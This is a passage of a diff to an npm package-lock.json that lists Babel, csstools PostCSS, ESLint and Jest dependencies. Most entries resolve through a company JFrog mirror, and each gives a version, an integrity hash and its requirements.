"resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/preset-react/-/preset-react-7.22.5.tgz", + "integrity": "sha512-M+Is3WikOpEJHgR385HbuCITPTaPRaNkibTEa9oiofmJvIsrceb4yp9RL9Kb+TE8LznmeyZqpP+Lopwcx59xPQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-transform-react-display-name": "^7.22.5", + "@babel/plugin-transform-react-jsx": "^7.22.5", + "@babel/plugin-transform-react-jsx-development": "^7.22.5", + "@babel/plugin-transform-react-pure-annotations": "^7.22.5" + } + }, + "@babel/preset-typescript": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/preset-typescript/-/preset-typescript-7.22.5.tgz", + "integrity": "sha512-YbPaal9LxztSGhmndR46FmAbkJ/1fAsw293tSU+I5E5h+cnJ3d4GTwyUgGYmOXJYdGA+uNePle4qbaRzj2NISQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.22.5", + "@babel/plugin-transform-modules-commonjs": "^7.22.5", + "@babel/plugin-transform-typescript": "^7.22.5" + } + }, + "@babel/regjsgen": { + "version": "0.8.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==" + }, + "@babel/runtime": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/runtime/-/runtime-7.22.5.tgz", + "integrity": "sha512-ecjvYlnAaZ/KVneE/OdKYBYfgXV3Ptu6zQWmgEF7vwKhQnvVS6bjMD2XYgj+SNvQ1GfK/pjgokfPkC/2CO8CuA==", + "requires": { + "regenerator-runtime": "^0.13.11" + } + }, + "@babel/template": { + "version": "7.24.0", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.24.0.tgz", + "integrity": "sha512-Bkf2q8lMB0AFpX0NFEqSbx1OkTHf0f+0j82mkw+ZpzBnkk7e9Ql0891vlfgi+kHwOk8tQjiQHpqh4LaSa0fKEA==", + "requires": { + "@babel/code-frame": "^7.23.5", + "@babel/parser": "^7.24.0", + "@babel/types": "^7.24.0" + } + }, + "@babel/traverse": { + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.24.1.tgz", + "integrity": "sha512-xuU6o9m68KeqZbQuDt2TcKSxUw/mrsvavlEqQ1leZ/B+C9tk6E4sRWy97WaXgvq5E+nU3cXMxv3WKOCanVMCmQ==", + "requires": { + "@babel/code-frame": "^7.24.1", + "@babel/generator": "^7.24.1", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-function-name": "^7.23.0", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.24.1", + "@babel/types": "^7.24.0", + "debug": "^4.3.1", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.24.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.24.0.tgz", + "integrity": "sha512-+j7a5c253RfKh8iABBhywc8NSfP5LURe7Uh4qpsh6jc+aLJguvmIUBdjSdEMQv2bENrCR5MfRdjGo7vzS/ob7w==", + "requires": { + "@babel/helper-string-parser": "^7.23.4", + "@babel/helper-validator-identifier": "^7.22.20", + "to-fast-properties": "^2.0.0" + } + }, + "@bcoe/v8-coverage": { + "version": "0.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", + "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==" + }, + "@csstools/normalize.css": { + "version": "12.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/normalize.css/-/normalize.css-12.0.0.tgz", + "integrity": "sha512-M0qqxAcwCsIVfpFQSlGN5XjXWu8l5JDZN+fPt1LeW5SZexQTgnaEvgXAY+CeygRw0EeppWHi12JxESWiWrB0Sg==" + }, + "@csstools/postcss-cascade-layers": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.1.1.tgz", + "integrity": "sha512-+KdYrpKC5TgomQr2DlZF4lDEpHcoxnj5IGddYYfBWJAKfj1JtuHUIqMa+E1pJJ+z3kvDViWMqyqPlG4Ja7amQA==", + "requires": { + "@csstools/selector-specificity": "^2.0.2", + "postcss-selector-parser": "^6.0.10" + } + }, + "@csstools/postcss-color-function": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz", + "integrity": "sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==", + "requires": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-font-format-keywords": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz", + "integrity": "sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-hwb-function": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz", + "integrity": "sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-ic-unit": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz", + "integrity": "sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==", + "requires": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-is-pseudo-class": { + "version": "2.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz", + "integrity": "sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==", + "requires": { + "@csstools/selector-specificity": "^2.0.0", + "postcss-selector-parser": "^6.0.10" + } + }, + "@csstools/postcss-nested-calc": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-nested-calc/-/postcss-nested-calc-1.0.0.tgz", + "integrity": "sha512-JCsQsw1wjYwv1bJmgjKSoZNvf7R6+wuHDAbi5f/7MbFhl2d/+v+TvBTU4BJH3G1X1H87dHl0mh6TfYogbT/dJQ==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-normalize-display-values": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz", + "integrity": "sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-oklab-function": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz", + "integrity": "sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==", + "requires": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-progressive-custom-properties": { + "version": "1.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz", + "integrity": "sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-stepped-value-functions": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz", + "integrity": "sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-text-decoration-shorthand": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-1.0.0.tgz", + "integrity": "sha512-c1XwKJ2eMIWrzQenN0XbcfzckOLLJiczqy+YvfGmzoVXd7pT9FfObiSEfzs84bpE/VqfpEuAZ9tCRbZkZxxbdw==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-trigonometric-functions": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz", + "integrity": "sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "@csstools/postcss-unset-value": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz", + "integrity": "sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==", + "requires": {} + }, + "@csstools/selector-specificity": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/selector-specificity/-/selector-specificity-2.2.0.tgz", + "integrity": "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw==", + "requires": {} + }, + "@eslint-community/eslint-utils": { + "version": "4.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@eslint-community/eslint-utils/-/eslint-utils-4.4.0.tgz", + "integrity": "sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==", + "requires": { + "eslint-visitor-keys": "^3.3.0" + } + }, + "@eslint-community/regexpp": { + "version": "4.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@eslint-community/regexpp/-/regexpp-4.5.1.tgz", + "integrity": "sha512-Z5ba73P98O1KUYCCJTUeVpja9RcGoMdncZ6T49FCUl2lN38JtCJ+3WgIDBv0AuY4WChU5PmtJmOCTlN6FZTFKQ==" + }, + "@eslint/eslintrc": { + "version": "2.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@eslint/eslintrc/-/eslintrc-2.0.3.tgz", + "integrity": "sha512-+5gy6OQfk+xx3q0d6jGZZC3f3KzAkXc/IanVxd1is/VIIziRqqt3ongQz0FiTUXqTk0c7aDB3OaFuKnuSoJicQ==", + "requires": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.5.2", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "dependencies": { + "argparse": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + }, + "globals": { + "version": "13.20.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/globals/-/globals-13.20.0.tgz", + "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==", + "requires": { + "type-fest": "^0.20.2" + } + }, + "js-yaml": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "requires": { + "argparse": "^2.0.1" + } + }, + "type-fest": { + "version": "0.20.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==" + } + } + }, + "@eslint/js": { + "version": "8.43.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@eslint/js/-/js-8.43.0.tgz", + "integrity": "sha512-s2UHCoiXfxMvmfzqoN+vrQ84ahUSYde9qNO1MdxmoEhyHWsfmwOpFlwYV+ePJEVc7gFnATGUi376WowX1N7tFg==" + }, + "@humanwhocodes/config-array": { + "version": "0.11.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@humanwhocodes/config-array/-/config-array-0.11.10.tgz", + "integrity": "sha512-KVVjQmNUepDVGXNuoRRdmmEjruj0KfiGSbS8LVc12LMsWDQzRXJ0qdhN8L8uUigKpfEHRhlaQFY0ib1tnUbNeQ==", + "requires": { + "@humanwhocodes/object-schema": "^1.2.1", + "debug": "^4.1.1", + "minimatch": "^3.0.5" + } + }, + "@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==" + }, + "@humanwhocodes/object-schema": { + "version": "1.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", + "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==" + }, + "@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "requires": { + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "dependencies": { + "camelcase": { + "version": "5.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==" + }, + "find-up": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "requires": { + "p-locate": "^4.1.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "requires": { + "p-limit": "^2.2.0" + } + } + } + }, + "@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==" + }, + "@jest/console": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/console/-/console-27.5.1.tgz", + "integrity": "sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==", + "requires": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^27.5.1", + "jest-util": "^27.5.1", + "slash": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@jest/core": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/core/-/core-27.5.1.tgz", + "integrity": "sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==", + "requires": { + "@jest/console": "^27.5.1", + "@jest/reporters": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.8.1", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-changed-files": "^27.5.1", + "jest-config": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-resolve-dependencies": "^27.5.1", + "jest-runner": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "jest-watcher": "^27.5.1", + "micromatch": "^4.0.4", + "rimraf": "^3.0.0", + "slash": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@jest/environment": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/environment/-/environment-27.5.1.tgz", + "integrity": "sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==", + "requires": { + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1" + } + }, + "@jest/expect-utils": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/expect-utils/-/expect-utils-29.5.0.tgz", + "integrity": "sha512-fmKzsidoXQT2KwnrwE0SQq3uj8Z763vzR8LnLBwC2qYWEFpjX8daRsk6rHUM1QvNlEW/UJXNXm59ztmJJWs2Mg==", + "requires": { + "jest-get-type": "^29.4.3" + }, + "dependencies": { + "jest-get-type": { + "version": "29.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-get-type/-/jest-get-type-29.4.3.tgz", + "integrity": "sha512-J5Xez4nRRMjk8emnTpWrlkyb9pfRQQanDrvWHhsR1+VUfbwxi30eVcZFlcdGInRibU4G5LwHXpI7IRHU0CY+gg==" + } + } + }, + "@jest/fake-timers": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/fake-timers/-/fake-timers-27.5.1.tgz", + "integrity": "sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==", + "requires": { + "@jest/types": "^27.5.1", + "@sinonjs/fake-timers": "^8.0.1", + "@types/node": "*", + "jest-message-util": "^27.5.1", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1" + } + }, + "@jest/globals": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/globals/-/globals-27.5.1.tgz", + "integrity": "sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==", + "requires": { + "@jest/environment": "^27.5.1", + "@jest/types": "^27.5.1", + "expect": "^27.5.1" + } + }, + "@jest/reporters": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/reporters/-/reporters-27.5.1.tgz", + "integrity": "sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==", + "requires": { + "@bcoe/v8-coverage": "^0.2.3", + "@jest/console": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "collect-v8-coverage": "^1.0.0", + "exit": "^0.1.2", + "glob": "^7.1.2", + "graceful-fs": "^4.2.9", + "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-instrument": "^5.1.0", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^4.0.0", + "istanbul-reports": "^3.1.3", + "jest-haste-map": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "slash": "^3.0.0", + "source-map": "^0.6.0", + "string-length": "^4.0.1", + "terminal-link": "^2.0.0", + "v8-to-istanbul": "^8.1.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": 